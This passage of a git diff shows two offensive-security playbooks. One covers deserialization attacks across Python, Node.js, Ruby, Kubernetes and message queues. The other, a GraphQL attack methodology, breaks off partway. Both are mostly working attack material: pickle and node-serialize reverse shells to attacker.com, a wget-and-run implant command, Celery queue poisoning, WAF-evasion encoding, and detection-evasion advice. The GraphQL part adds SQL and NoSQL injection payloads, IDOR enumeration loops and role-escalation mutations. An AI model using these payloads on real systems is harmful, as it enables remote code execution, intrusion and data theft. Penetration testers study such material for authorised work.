's=socket.socket();s.connect(("attacker.com",4444));'+ 'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);'+ 'os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'',))-# Chained execution for multi-step payloads+# Chained multi-step payloadclass ChainedExploit:def __reduce__(self):- return (eval, (- "__import__('os').system('wget http://attacker.com/implant -O /tmp/i && chmod +x /tmp/i && /tmp/i')",- ))+ return (eval, ("__import__('os').system('wget http://attacker.com/i -O /tmp/i && chmod +x /tmp/i && /tmp/i')",))```### yaml.load RCE-Python's `yaml.load()` without a safe loader permits arbitrary object instantiation-through YAML tags.+`yaml.load()` without a safe loader permits arbitrary object instantiation.```yaml# Direct command execution@@ -418,94 +327,60 @@ through YAML tags.# Subprocess with output!!python/object/apply:subprocess.check_output- ["id"]--# Module import and execute-!!python/object/new:type-args:- - exploit- - !!python/tuple []- - {"__reduce__": !!python/name:os.system}``````bash-# Test for unsafe yaml.load -- this is common in config parsers,-# ML model loading, and data pipeline configurations-# Look for yaml.load() without Loader=yaml.SafeLoader+# Find unsafe yaml.load in codebasegrep -rn "yaml\.load\s*(" --include="*.py" /path/to/codebase```### Other Python Vectors```python-# shelve module -- uses pickle internally-import shelve-db = shelve.open('data.db') # If attacker controls the .db file, RCE on open--# marshal module -- lower-level than pickle, still dangerous-import marshal-code = marshal.loads(attacker_controlled_bytes) # Code object injection--# jsonpickle -- third-party lib, same risks as pickle-import jsonpickle-obj = jsonpickle.decode(attacker_json) # Arbitrary object instantiation+import shelve # Uses pickle internally -- RCE on shelve.open() of attacker-controlled .db+import marshal # Code object injection via marshal.loads()+import jsonpickle # Third-party, same risks as pickle via jsonpickle.decode()```----## Node.js Deserialization-Node.js deserialization vulnerabilities typically involve libraries that reconstruct-functions from serialized strings and execute them.-### node-serialize IIFE Pattern-The `node-serialize` library uses a `_$$ND_FUNC$$_` marker to denote serialized-functions. Appending `()` creates an Immediately Invoked Function Expression that-executes during deserialization.+The `node-serialize` library uses `_$$ND_FUNC$$_` to mark serialized functions.+Appending `()` creates an IIFE that executes during deserialization.```javascript-// Malicious serialized object -- the trailing () causes immediate execution-{"username":"admin","role":"_$$ND_FUNC$$_function(){require('child_process').execSync('curl http://attacker.com/callback')}()"}+// Trailing () causes immediate execution+{"role":"_$$ND_FUNC$$_function(){require('child_process').execSync('curl http://attacker.com/cb')}()"}-// Reverse shell payload-{"rce":"_$$ND_FUNC$$_function(){var net=require('net'),cp=require('child_process'),sh=cp.spawn('/bin/sh',[]);var client=new net.Socket();client.connect(4444,'attacker.com',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);})}()"}+// Reverse shell+{"rce":"_$$ND_FUNC$$_function(){var net=require('net'),cp=require('child_process'),sh=cp.spawn('/bin/sh',[]);var c=new net.Socket();c.connect(4444,'attacker.com',function(){c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);})}()"}-// Base64 encoded to avoid character issues in transit-{"payload":"_$$ND_FUNC$$_function(){eval(Buffer.from('BASE64ENCODEDPAYLOAD','base64').toString())}()"}+// Base64-wrapped to avoid character issues+{"p":"_$$ND_FUNC$$_function(){eval(Buffer.from('BASE64PAYLOAD','base64').toString())}()"}```### funcster-The `funcster` library serializes and deserializes JavaScript functions. Any-application that deserializes user-controlled funcster data is vulnerable.-```javascript-// funcster deserializes functions via new Function() constructor-// Payload structure:+// funcster deserializes via new Function() constructor{"__js_function": "function(){return require('child_process').execSync('id').toString()}"}```-### Detection in Traffic--Look for these markers in cookies, session tokens, and request bodies:--- `_$$ND_FUNC$$_` -- node-serialize-- `__js_function` -- funcster-- Serialized JavaScript function strings in Base64-encoded cookies+Look for `_$$ND_FUNC$$_` and `__js_function` in cookies, session tokens, and request+bodies.----## Ruby Deserialization-Ruby's `Marshal.load` and `YAML.load` both instantiate arbitrary objects and are-common deserialization sinks in Rails applications.+`Marshal.load` and `YAML.load` both instantiate arbitrary objects and are common+sinks in Rails applications.### Marshal.load Gadgets```ruby-# Ruby Universal RCE gadget chain-# Uses Gem::Installer or Gem::Requirement depending on Ruby version-+# Gem::Requirement chain (Ruby 2.x) / Gem::Installer (varies by version)# ERB template execution chainrequire 'erb'class Exploit@@ -513,9 +388,6 @@ class Exploit@template = "<%= `id` %>"endend--# Gem::Requirement chain (Ruby 2.x)-# Serialized payload triggers command execution through Gem internalspayload = Marshal.dump(exploit_chain)encoded = Base64.strict_encode64(payload)```@@ -523,11 +395,6 @@ encoded = Base64.strict_encode64(payload)### YAML.load Gadgets```yaml-# ERB template execution via YAML---- !ruby/object:Gem::Installer-i: x---- !ruby/object:Gem::SpecFetcher-i: y--- !ruby/object:Gem::Requirementrequirements:!ruby/object:Gem::Package::TarReader@@ -544,22 +411,19 @@ requirements:method_id: :resolve```-Rails session cookies in older versions (before 5.2 with encrypted cookies) used-signed but not encrypted Marshal data. With the `secret_key_base`, you can forge-arbitrary session cookies containing gadget chains.+Rails session cookies before 5.2 used signed but not encrypted Marshal data. With+the `secret_key_base`, you forge session cookies containing gadget chains.----## Modern Attack Vectors### Kubernetes Admission Webhooks-Admission controllers deserialize `AdmissionReview` JSON objects. A validating or-mutating webhook that passes fields from the admission request to an unsafe-deserializer creates a cluster-level RCE vector.+Admission controllers deserialize `AdmissionReview` JSON. A webhook that passes+annotation or label values from the admission request to an unsafe deserializer+creates a cluster-level RCE vector.```yaml-# Submit a pod with a serialized payload in an annotationapiVersion: v1kind: Podmetadata:@@ -572,19 +436,16 @@ spec:image: nginx```-If the webhook's reconciliation logic deserializes the annotation value, the payload-executes in the webhook's context, which typically has elevated cluster permissions.+The payload executes in the webhook's context, which typically has elevated cluster+permissions.### Message Queue Consumers-Applications consuming from Kafka, RabbitMQ, SQS, or Redis pub/sub often-deserialize message payloads with pickle, Java ObjectInputStream, or Marshal. If you-gain producer access to the queue, you can poison every consumer.+Applications consuming from Kafka, RabbitMQ, SQS, or Redis often blindly+deserialize message payloads. Producer access lets you poison every consumer.```python-# Poison a Redis-backed Celery task queue-import redis-import pickle+import redis, pickle, osclass Exploit:def __reduce__(self):@@ -597,57 +458,49 @@ r.lpush('celery', pickle.dumps({}))```-### Serverless and Event-Driven Triggers+### Serverless Triggers-Serverless functions that deserialize event payloads from S3 object creation, SNS-notifications, or SQS messages are vulnerable if the event source is attacker--controllable (for example, a public S3 upload endpoint).+Serverless functions deserializing event payloads from S3, SNS, or SQS are+vulnerable when the event source is attacker-controllable (e.g., public upload).```python-# AWS Lambda handler deserializing S3 object contentdef handler(event, context):- bucket = event['Records'][0]['s3']['bucket']['name']- key = event['Records'][0]['s3']['object']['key']- obj = s3.get_object(Bucket=bucket, Key=key)+ obj = s3.get_object(Bucket=event['Records'][0]['s3']['bucket']['name'],+ Key=event['Records'][0]['s3']['object']['key'])data = pickle.loads(obj['Body'].read()) # RCE if attacker uploads to bucket```----## Evasion Techniques### WAF and Filter Bypass```bash-# Double Base64 encoding to bypass pattern matching+# Double Base64 -- changes byte patterncat payload.bin | base64 | base64 > double_encoded.txt-# URL encoding of serialized data-cat payload.bin | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.buffer.read()))"--# Gzip compression before Base64 -- changes the byte pattern entirely+# Gzip before Base64 -- entirely different patterngzip -c payload.bin | base64 > compressed_payload.txt-# Unicode escaping for JSON-based payloads-# Replace ASCII characters with \uXXXX equivalents in $type values+# URL encoding+cat payload.bin | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.buffer.read()))"-# Split across multiple parameters and reassemble server-side-# Some applications concatenate parameters before deserializing+# Unicode escaping for JSON payloads -- replace ASCII in $type with \uXXXX+# Parameter splitting -- some apps concatenate params before deserializing```### Content-Type Manipulation+Switch the delivery format to bypass format-specific WAF rules:+```httpPOST /api/endpoint HTTP/1.1Content-Type: application/x-java-serialized-object[binary payload]+```------POST /api/endpoint HTTP/1.1-Content-Type: application/xml-+```xml<?xml version="1.0"?><java class="java.beans.XMLDecoder"><object class="java.lang.Runtime" method="getRuntime">@@ -656,96 +509,78 @@ Content-Type: application/xml</void></object></java>-------POST /api/endpoint HTTP/1.1-Content-Type: application/x-www-form-urlencoded--data=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH...```### Encoding Layers-Many applications apply multiple encoding layers. You may need to wrap your payload-in several layers to reach the deserializer in the expected format:+Many applications apply multiple encoding layers. Wrap your payload to match:1. Serialize the gadget chain.2. Encrypt with a known or leaked key (session cookies, ViewState machine keys).-3. Apply HMAC if integrity checks are present (requires the signing key).-4. Base64 encode.-5. URL encode if delivered via query parameter.+3. Apply HMAC if integrity checks exist (requires the signing key).+4. Base64 encode, then URL encode if delivered via query parameter.-When you lack the encryption or signing key, look for:-- Default keys in framework documentation or GitHub issues.-- Key disclosure via path traversal, SSRF, or configuration endpoint leaks.-- Padding oracle attacks to decrypt/encrypt without the key.+When you lack the key, look for default keys in framework documentation, key+disclosure via path traversal or SSRF, or padding oracle attacks to encrypt without+the key.----## Detection / Defender View-Understanding how defenders detect deserialization attacks helps you craft payloads-that avoid triggering alerts.+Understanding defensive detection helps you craft payloads that avoid alerts.-**Signatures defenders watch for:**-- Java magic bytes `ac ed 00 05` or Base64 `rO0AB` in HTTP traffic.-- .NET `AAEAAAD/////` patterns in form fields or cookies.-- PHP serialized object patterns `O:\d+:"` in request parameters.-- `$type` keys in JSON request bodies (Json.NET).-- `_$$ND_FUNC$$_` in Node.js cookies.-- `!!python/object` tags in YAML inputs.+**Network signatures defenders match:**+- Java magic bytes `ac ed 00 05` / Base64 `rO0AB` in HTTP traffic+- .NET `AAEAAAD/////` in form fields or cookies+- PHP `O:\d+:"` in request parameters+- `$type` keys in JSON bodies (Json.NET)+- `_$$ND_FUNC$$_` in Node.js cookies+- `!!python/object` tags in YAML inputs**Runtime defenses you will encounter:**-- Java `ObjectInputFilter` (JEP 290) -- allowlists or denylists specific classes.- Bypass by finding allowed classes that chain to dangerous behavior, or by using- chains that operate entirely within the allowed set.-- .NET `SerializationBinder` -- restricts type resolution. Bypass by using types- within the allowed namespace that still enable code execution.-- PHP `allowed_classes` parameter in `unserialize()` -- limits which classes can be- instantiated. Bypass by using only allowed classes in the chain, or by reaching- the sink through phar:// where the parameter is not applied.-- WAF rules matching serialized data patterns -- bypass with encoding layers,- compression, or content-type switching.-- RASP (Runtime Application Self-Protection) -- instruments deserialization calls.- May block known gadget chain entry points. Test with URLDNS or sleep-based- payloads first to determine RASP coverage.+- Java `ObjectInputFilter` (JEP 290) -- class allowlists/denylists. Bypass with+ chains operating entirely within the allowed set.+- .NET `SerializationBinder` -- restricts type resolution. Bypass with types within+ the allowed namespace that still enable execution.+- PHP `allowed_classes` in `unserialize()` -- limits instantiation. Bypass by using+ only allowed classes, or reaching the sink through phar:// where the parameter is+ not applied.+- WAF rules on serialized patterns -- bypass with encoding, compression, or+ content-type switching.+- RASP -- instruments deserialization calls. Test with URLDNS or sleep payloads+ first to gauge coverage.**Log artifacts your attack generates:**-- ClassNotFoundException or ClassCastException in server logs (failed chain).-- Stack traces referencing `ObjectInputStream`, `readObject`, `readResolve`.-- Unusual outbound DNS or HTTP connections from the application server.-- Process spawning from the application's JVM/interpreter process.+- `ClassNotFoundException` / `ClassCastException` in server logs (failed chain)+- Stack traces referencing `ObjectInputStream`, `readObject`, `readResolve`+- Unusual outbound DNS/HTTP from the application server+- Process spawning from the JVM/interpreter process----## Engagement Cheatsheet| Scenario | Tool | Payload | Verification ||---|---|---|---|-| Java app with Commons Collections 3.x | ysoserial | `CommonsCollections1` through `7` | URLDNS chain first for safe confirmation |-| Java app, unknown classpath | ysoserial | `URLDNS` for detection, then enumerate with error-based chain testing | DNS callback to attacker-controlled domain |-| PHP Laravel 5.x-9.x | phpggc | `Laravel/RCE1` through `RCE10` | DNS or sleep-based command |-| PHP with file upload + file operation | phpggc | `-p phar -pp header.jpg` polyglot | Trigger phar:// via file_exists or getimagesize |-| .NET with BinaryFormatter | ysoserial.net | `TypeConfuseDelegate` | Process creation or DNS callback |-| .NET ViewState, known machine key | ysoserial.net | `-p ViewState` with key parameters | Blind command execution |-| .NET Json.NET TypeNameHandling | ysoserial.net | `ObjectDataProvider` via `-f Json.Net` | Command output to file or OOB |-| Python pickle in web app | Manual | `__reduce__` with `os.system` | Curl/wget callback |-| Python Celery/Redis | Manual | Pickle payload injected into task queue | All consumers execute payload |+| Java, Commons Collections 3.x | ysoserial | `CommonsCollections1`-`7` | URLDNS first |+| Java, unknown classpath | ysoserial | `URLDNS` then error-based enumeration | DNS callback |+| PHP Laravel 5.x-9.x | phpggc | `Laravel/RCE1`-`RCE10` | DNS or sleep |+| PHP file upload + file op | phpggc | `-p phar -pp header.jpg` polyglot | phar:// trigger |+| .NET BinaryFormatter | ysoserial.net | `TypeConfuseDelegate` | Process or DNS |+| .NET ViewState, known key | ysoserial.net | `-p ViewState` with key params | Blind exec |+| .NET Json.NET TypeNameHandling | ysoserial.net | `ObjectDataProvider` `-f Json.Net` | File write or OOB |+| Python pickle in web app | Manual | `__reduce__` + `os.system` | Curl callback |+| Python Celery/Redis | Manual | Pickle into task queue | All consumers exec || Python yaml.load | Manual | `!!python/object/apply:os.system` | OOB callback |-| Node.js node-serialize | Manual | `_$$ND_FUNC$$_function(){...}()` | Reverse shell or callback |-| Ruby Marshal in Rails cookie | Manual | Gem::Requirement chain with known secret_key_base | Session forgery + RCE |-| K8s admission webhook | ysoserial/manual | Serialized payload in pod annotation | Callback from webhook pod |-| Unknown format | - | Fuzz with format-specific magic bytes | Monitor for errors and callbacks |+| Node.js node-serialize | Manual | `_$$ND_FUNC$$_function(){...}()` | Reverse shell |+| Ruby Marshal in Rails cookie | Manual | Gem::Requirement + secret_key_base | Session forge + RCE |+| K8s admission webhook | ysoserial/manual | Payload in pod annotation | Webhook callback |**Safe confirmation sequence (always start here):**-1. Send a URLDNS payload (Java) or DNS-callback command to confirm deserialization- occurs.-2. Send a sleep/delay payload to confirm code execution without network egress.-3. Escalate to the engagement-authorized objective.+1. Send URLDNS (Java) or DNS-callback command to confirm deserialization occurs.+2. Send sleep/delay payload to confirm code execution without network egress.+3. Escalate to engagement-authorized objective.----## Key References**Tools:**@@ -753,29 +588,26 @@ that avoid triggering alerts.- phpggc (PHP): https://github.com/ambionics/phpggc- ysoserial.net (.NET): https://github.com/pwntester/ysoserial.net- marshalsec (Java JNDI/RMI): https://github.com/mbechler/marshalsec-- Burp Deserialization Scanner: BApp Store, automated detection-- GadgetInspector (Java static analysis): https://github.com/JackOfMostTrades/gadgetinspector+- GadgetInspector: https://github.com/JackOfMostTrades/gadgetinspector+- Burp Deserialization Scanner (BApp Store)**Critical CVEs:**- CVE-2015-4852 -- WebLogic T3 deserialization (Commons Collections)-- CVE-2016-1000031 -- Apache Commons FileUpload deserialization-- CVE-2017-5638 -- Apache Struts 2 OGNL injection via Content-Type (deser-adjacent)- CVE-2017-7525 -- Jackson enableDefaultTyping RCE-- CVE-2017-9805 -- Apache Struts 2 REST plugin XStream deserialization+- CVE-2017-9805 -- Struts 2 REST plugin XStream deserialization- CVE-2018-1000861 -- Jenkins Stapler deserialization-- CVE-2019-2725 -- Oracle WebLogic XMLDecoder deserialization+- CVE-2019-2725 -- WebLogic XMLDecoder deserialization- CVE-2019-6340 -- Drupal REST deserialization- CVE-2019-18935 -- Telerik UI .NET deserialization-- CVE-2020-9484 -- Apache Tomcat session persistence deserialization+- CVE-2020-9484 -- Tomcat session persistence deserialization- CVE-2020-36188 -- Jackson-databind SSRF via JNDI- CVE-2021-21978 -- VMware View Planner deserialization-- CVE-2022-22947 -- Spring Cloud Gateway SpEL injection (deser-adjacent)- CVE-2023-34362 -- MOVEit Transfer deserialization chain-- CVE-2023-46604 -- Apache ActiveMQ ClassPathXmlApplicationContext RCE+- CVE-2023-46604 -- ActiveMQ ClassPathXmlApplicationContext RCE**Research:**-- "Marshalling Pickles" -- Chris Frohoff and Gabriel Lawrence (AppSecCali 2015)-- "Friday the 13th: JSON Attacks" -- Alvaro Munoz and Oleksandr Mirosh (BlackHat 2017)-- "Are You My Type?" -- Alvaro Munoz and Oleksandr Mirosh (exploiting .NET serializers)+- "Marshalling Pickles" -- Frohoff and Lawrence (AppSecCali 2015)+- "Friday the 13th: JSON Attacks" -- Munoz and Mirosh (BlackHat 2017)+- "Are You My Type?" -- Munoz and Mirosh (exploiting .NET serializers)- OWASP Deserialization Cheat Sheet- PortSwigger Web Security Academy: Insecure Deserializationdiff --git a/Skills/web/offensive-graphql/SKILL.md b/Skills/web/offensive-graphql/SKILL.mdindex d8f7a7f..a96564c 100644--- a/Skills/web/offensive-graphql/SKILL.md+++ b/Skills/web/offensive-graphql/SKILL.md@@ -5,53 +5,28 @@ description: "Offensive methodology for attacking GraphQL APIs during penetratio# Offensive GraphQL-GraphQL consolidates an entire API surface behind a single endpoint, which-makes it a high-value target during web application assessments. Unlike REST,-where each route maps to a discrete resource, a GraphQL schema exposes every-type, field, mutation, and subscription in one queryable structure. Attackers-who obtain or reconstruct that schema gain a complete map of the application's-data model before writing a single exploit. This skill walks you through each-phase of a GraphQL engagement, from discovery through exploitation, with-concrete queries, tool invocations, and chaining patterns you can adapt to-real targets.+GraphQL consolidates an entire API surface behind a single endpoint, making it a high-value target during web application assessments. Unlike REST, where each route maps to a discrete resource, a GraphQL schema exposes every type, field, mutation, and subscription in one queryable structure. Attackers who obtain or reconstruct that schema gain a complete map of the application's data model before writing a single exploit. This skill walks you through each phase of a GraphQL engagement with concrete queries, tool invocations, and chaining patterns.## Quick Workflow-1. Discover the endpoint -- probe common paths, inspect client-side JS bundles, and check WebSocket upgrade headers.-2. Fingerprint the implementation -- use graphw00f to identify Apollo, Yoga, Hasura, Ariadne, or another engine so you can tailor payloads.-3. Dump or reconstruct the schema -- run a full introspection query; if blocked, fall back to field suggestion probing or clairvoyance.-4. Map the attack surface -- feed the schema into GraphQL Voyager or InQL to visualize types, mutations, and relationships.-5. Test authentication and authorization -- check every query and mutation with no token, low-privilege tokens, and cross-user tokens; decode Relay node IDs to find IDOR vectors.-6. Inject through resolvers -- pass SQL, NoSQL, and OS command payloads through string arguments and variables.-7. Abuse batching -- send arrayed operations to brute-force credentials, bypass OTP, and evade rate limits.-8. Stress depth and complexity -- craft nested queries, alias fans, and circular fragments to test DoS resilience.-9. Probe subscriptions -- connect over WebSocket with expired or missing tokens and subscribe to sensitive event streams.-10. Exfiltrate via errors -- trigger verbose stack traces, type mismatches, and field suggestion responses to leak internal details.-11. Test file upload -- use the multipart GraphQL specification to upload oversized or malicious files through mutations.-12. Document, chain, and escalate -- combine findings into multi-step attack chains and write them up with proof-of-concept queries.+1. Discover the endpoint -- probe common paths, inspect client-side JS bundles, check WebSocket upgrade headers.+2. Fingerprint the implementation -- use graphw00f to identify the engine and tailor payloads.+3. Dump or reconstruct the schema -- full introspection query; if blocked, field suggestion probing or clairvoyance.+4. Map the attack surface -- feed the schema into GraphQL Voyager or InQL.+5. Test authentication and authorization -- every query and mutation with no token, low-privilege, and cross-user tokens.+6. Inject through resolvers -- SQL, NoSQL, and OS command payloads through arguments and variables.+7. Abuse batching -- arrayed operations for brute force, OTP bypass, and rate limit evasion.+8. Stress depth and complexity -- nested queries, alias fans, and circular fragments.+9. Probe subscriptions -- WebSocket with expired or missing tokens, subscribe to sensitive streams.+10. Exfiltrate via errors -- verbose stack traces, type mismatches, field suggestions.+11. Test file upload -- multipart GraphQL specification for oversized or malicious files.+12. Chain and escalate -- combine findings into multi-step attack paths with proof-of-concept queries.---## 1 -- Endpoint Discovery and Fingerprinting-You start by locating the GraphQL endpoint. Most implementations register on-predictable paths, but some hide behind custom routes or reverse proxies.--Common endpoint paths to probe:--```text-/graphql-/graphiql-/v1/graphql-/v2/graphql-/api/graphql-/graphql/console-/playground-/explorer-/query-```--Send a simple POST to each candidate with a minimal query body:+Probe common paths with a minimal query body. A `__typename` response confirms a live GraphQL endpoint.```bashcurl -s -X POST https://target.com/graphql \@@ -59,24 +34,23 @@ curl -s -X POST https://target.com/graphql \-d '{"query":"{__typename}"}' | jq .```-A response containing `{"data":{"__typename":"Query"}}` confirms a live-GraphQL endpoint. Some servers also accept GET requests with the query as a-URL parameter:+Paths to probe: `/graphql`, `/graphiql`, `/v1/graphql`, `/v2/graphql`, `/api/graphql`, `/graphql/console`, `/playground`, `/explorer`, `/query`. Some servers accept GET requests:```bashcurl -s "https://target.com/graphql?query=\{__typename\}"```-Once you confirm the endpoint, fingerprint the implementation with graphw00f:+Fingerprint the implementation to determine default behaviors (introspection state, error format, batching syntax):```bashpython3 graphw00f.py -t https://target.com/graphql```-The engine identity (Apollo Server, Yoga, Hasura, Ariadne, Strawberry,-graphql-ruby, etc.) determines default behaviors -- whether introspection is-on by default, how errors are formatted, and which batching syntax the server-accepts.+Run graphql-cop for a one-pass configuration audit -- it reports introspection status, field suggestion leaks, GET-based query acceptance (CSRF risk), and unrestricted batching:++```bash+python3 graphql-cop.py -t https://target.com/graphql+```---@@ -84,9 +58,7 @@ accepts.### Full Introspection Dump-When introspection is enabled, you can pull the entire schema in a single-request. This is the most valuable reconnaissance step in any GraphQL-engagement.+When introspection is enabled, pull the entire schema in one request. This is the single most valuable recon step.```graphqlquery FullIntrospection {@@ -95,377 +67,194 @@ query FullIntrospection {mutationType { name }subscriptionType { name }types {- kind- name- description+ kind name descriptionfields(includeDeprecated: true) {- name- description- args {- name- type { ...TypeRef }- defaultValue- }- type { ...TypeRef }- isDeprecated- deprecationReason- }- inputFields {- name- type { ...TypeRef }- defaultValue- }- interfaces { ...TypeRef }- enumValues(includeDeprecated: true) {- name- description- isDeprecated- deprecationReason- }- possibleTypes { ...TypeRef }- }- directives {- name- description- locations- args {- name- type { ...TypeRef }- defaultValue+ name args { name type { ...T } defaultValue } type { ...T }}+ inputFields { name type { ...T } defaultValue }+ interfaces { ...T }+ enumValues(includeDeprecated: true) { name description }+ possibleTypes { ...T }}+ directives { name description locations args { name type { ...T } } }}}--fragment TypeRef on __Type {- kind- name- ofType {- kind- name- ofType {- kind- name- ofType {- kind- name- }- }- }+fragment T on __Type {+ kind name ofType { kind name ofType { kind name ofType { kind name } } }}```-Pipe the result into GraphQL Voyager or InQL for visual exploration. In Burp-Suite, load InQL and point it at the endpoint -- it parses the schema and-generates individual queries for every field and mutation automatically.+Pipe the result into GraphQL Voyager for visual exploration, or load InQL in Burp Suite -- it parses the schema and generates individual queries for every field and mutation.-### Targeted Type Queries+### Targeted __type Queries-When you only need details about a specific type, use `__type`:+When full introspection is disabled but `__type` lookups still work (a common misconfiguration where the server blocks `__schema` but forgets `__type`):```graphql-query {- __type(name: "User") {- name- fields {- name- type {- name- kind- }- }- }-}+query { __type(name: "User") { name fields { name type { name kind } } } }```-This is useful when full introspection is disabled but `__type` lookups are-still permitted -- a common misconfiguration where the server blocks the-`__schema` root field but forgets to block `__type`.-### Bypassing Disabled Introspection-When introspection is fully disabled, you reconstruct the schema through-alternative channels.--**Field suggestion oracle.** Most GraphQL engines return "Did you mean..."-suggestions when you query a non-existent field. You use this as a schema-oracle by submitting plausible field names and harvesting the suggestions:+**Field suggestion oracle.** Most engines return "Did you mean..." when you query a non-existent field. Submit plausible names and harvest suggestions:```graphql-query {- __typename- aaa-}+query { __typename aaa }```-A typical response:-```json{- "errors": [- {- "message": "Cannot query field \"aaa\" on type \"Query\". Did you mean \"user\", \"users\", \"admin\"?",- "locations": [{"line": 3, "column": 3}]- }- ]+ "errors": [{+ "message": "Cannot query field \"aaa\" on type \"Query\". Did you mean \"user\", \"users\", \"admin\"?"+ }]}```-You now know the Query type has `user`, `users`, and `admin` fields. Repeat-this process systematically. The tool clairvoyance automates this entirely:+Automate this with clairvoyance, which iterates a wordlist, collects suggestions, and assembles a reconstructed schema:```bashpython3 clairvoyance.py -t https://target.com/graphql -w wordlist.txt -o schema.json```-It iterates through a wordlist, collects suggestions, and assembles a-reconstructed schema.--**Apollo Sandbox and Studio.** If the target runs Apollo Server, navigate to-`https://target.com/graphql` in a browser. Apollo Server v3+ serves Apollo-Sandbox by default, which performs introspection client-side even when the-production toggle is supposedly off. The sandbox may also expose the schema-through the Apollo Studio explorer if the server is registered with Apollo-Studio.+**Apollo Sandbox.** If the target runs Apollo Server v3+, navigate to the endpoint in a browser. Apollo Sandbox performs introspection client-side even when the production toggle is off. Check Apollo Studio explorer if the server is registered there.-**Client-side bundle analysis.** Search JavaScript bundles served by the-application for query strings, fragment definitions, and type names:+**Client-side bundles.** Search JS files for query strings, fragment definitions, and type names:```bash-# Download and search JS bundles for GraphQL artifactscurl -s https://target.com/static/js/main.js | grep -oP '(query|mutation|fragment)\s+\w+'```-**graphql-cop probe.** Run graphql-cop to check for introspection status,-field suggestions, and other misconfigurations in one pass:--```bash-python3 graphql-cop.py -t https://target.com/graphql-```--It reports whether introspection is enabled, whether field suggestions leak-type information, whether GET-based queries are accepted (CSRF risk), and-whether batching is unrestricted.----## 3 -- Authentication and Authorization Bypass-GraphQL authorization bugs are pervasive because developers must implement-field-level and type-level checks manually in each resolver. Missing checks on-a single nested field can expose the entire object graph.+Authorization bugs are pervasive because developers must implement field-level checks manually in each resolver. A single missing check on a nested field can expose the entire object graph.### IDOR Through Relay Node IDs-Applications using the Relay specification expose a global `node` interface-that resolves any object by its opaque ID. These IDs are typically-base64-encoded strings in the form `Type:numericID`:+Relay exposes a global `node` interface that resolves any object by an opaque base64-encoded ID (`Type:numericID`):```bash-echo -n "VXNlcjoxMjM=" | base64 -d-# Output: User:123+echo -n "VXNlcjoxMjM=" | base64 -d # Output: User:123```-Forge IDs for other users and query them through the node interface:+Forge IDs for other users and query through the node interface:```graphqlquery {node(id: "VXNlcjoxMjQ=") {- ... on User {- id- role- ssn- }+ ... on User { id email role ssn }}}```-If the resolver does not enforce ownership checks, you retrieve another user's-data. Enumerate IDs sequentially by encoding `User:1`, `User:2`, etc.:+Enumerate sequentially:```bashfor i in $(seq 1 100); doid=$(echo -n "User:$i" | base64)- echo "{\"query\": \"{ node(id: \\\"$id\\\") { ... on User { id email role } } }\"}"-done | xargs -I{} curl -s -X POST https://target.com/graphql \- -H "Content-Type: application/json" -H "Authorization: Bearer $TOKEN" -d '{}'+ curl -s -X POST https://target.com/graphql \+ -H "Content-Type: application/json" -H "Authorization: Bearer $TOKEN" \+ -d "{\"query\":\"{ node(id: \\\"$id\\\") { ... on User { id email role } } }\"}"+done```### Nested Object Authorization Gaps-Authorization is often enforced on the top-level query but not on nested-relationships. If you can access your own `Order` object, check whether its-`customer` field lets you traverse to another user:+Authorization enforced on the top-level query often does not carry to nested relationships. Access your own Order, then check whether the customer field traverses to another user's data:```graphqlquery {myOrders {id- customer {- id- paymentMethods {- cardNumber- expirationDate- }- }+ customer { id email paymentMethods { cardNumber expirationDate } }}}```-The resolver for `myOrders` filters by your user ID, but the `customer`-resolver on the Order type may eagerly load the associated user without-verifying that you are allowed to see that user's payment methods.+The `myOrders` resolver filters by your ID, but the `customer` resolver on Order may eagerly load the associated user without ownership checks.### Relay Pagination and Cursor Manipulation-Relay-style pagination uses opaque cursors. Decode them (often base64 of an-offset or timestamp) and manipulate the value:+Decode opaque cursors (often base64 of an offset) and manipulate the value. If the cursor decodes to `cursor:999`, set it to `cursor:0` to access records from the beginning:```graphqlquery {- users(first: 10, after: "Y3Vyc29yOjk5OQ==") {- edges {- node {- id- }- cursor- }- pageInfo {- hasNextPage- endCursor- }+ users(first: 10, after: "Y3Vyc29yOjA=") {+ edges { node { id email } cursor }+ pageInfo { hasNextPage endCursor }}}```-If the cursor decodes to `cursor:999`, set it to `cursor:0` to start from the-beginning of the dataset, potentially accessing records you should not see.-### Mutation Authorization-Test every mutation with multiple privilege levels. Common targets:+Test every state-changing mutation with no token, low-privilege tokens, and cross-tenant tokens:```graphql-mutation {- updateUser(id: "OTHER_USER_ID", input: { role: "ADMIN" }) {- id- role- }-}--mutation {- deleteAccount(userId: "OTHER_USER_ID") {- success- }-}+mutation { updateUser(id: "OTHER_USER_ID", input: { role: "ADMIN" }) { id role } }+mutation { deleteAccount(userId: "OTHER_USER_ID") { success } }```-Send these with an unauthenticated session, a low-privilege token, and a-cross-tenant token.----## 4 -- Injection Through Resolvers-GraphQL variables and arguments flow directly into resolver functions. If a-resolver constructs database queries by string concatenation instead of-parameterized queries, you have classic injection vectors.+Variables and arguments flow directly into resolver functions. String concatenation in resolvers creates classic injection vectors.### SQL Injection via Variables```graphql-query GetUser($name: String!) {- user(name: $name) {- id- }-}+query GetUser($name: String!) { user(name: $name) { id email } }```-Variables payload:-```json-{- "name": "admin' OR 1=1 --"-}+{"name": "admin' OR 1=1 --"}```-If the resolver does `SELECT * FROM users WHERE name = '${args.name}'`, this-dumps all users. Escalate with UNION-based injection:+Escalate with UNION-based injection:```json-{- "name": "' UNION SELECT username, password FROM admin_users --"-}+{"name": "' UNION SELECT username, password FROM admin_users --"}```### NoSQL Injection-For resolvers backed by MongoDB or similar:+For MongoDB-backed resolvers:```json-{- "filter": {"username": {"$ne": ""}, "password": {"$ne": ""}}-}+{"filter": {"username": {"$ne": ""}, "password": {"$ne": ""}}}```-Or through a JSON string argument:+Time-based detection:```graphql-query {- search(filter: "{\"$where\": \"sleep(5000)\"}") {- results- }-}+query { search(filter: "{\"$where\": \"sleep(5000)\"}") { results } }```-### Directive Injection+### Directive Injection and Flooding-Custom directives may accept arguments that are processed server-side. If the-server uses a custom `@constraint` or `@auth` directive, test whether you can-override its behavior:+Directive flooding -- attaching thousands of `@include(if: true)` directives to a single field -- crashes parsers (CVE-2024-47614 in async-graphql):```graphql-query {- sensitiveData @skip(if: false) @deprecated(reason: "test") {- secret- }-}+query { __typename @include(if: true) @include(if: true) @include(if: true) 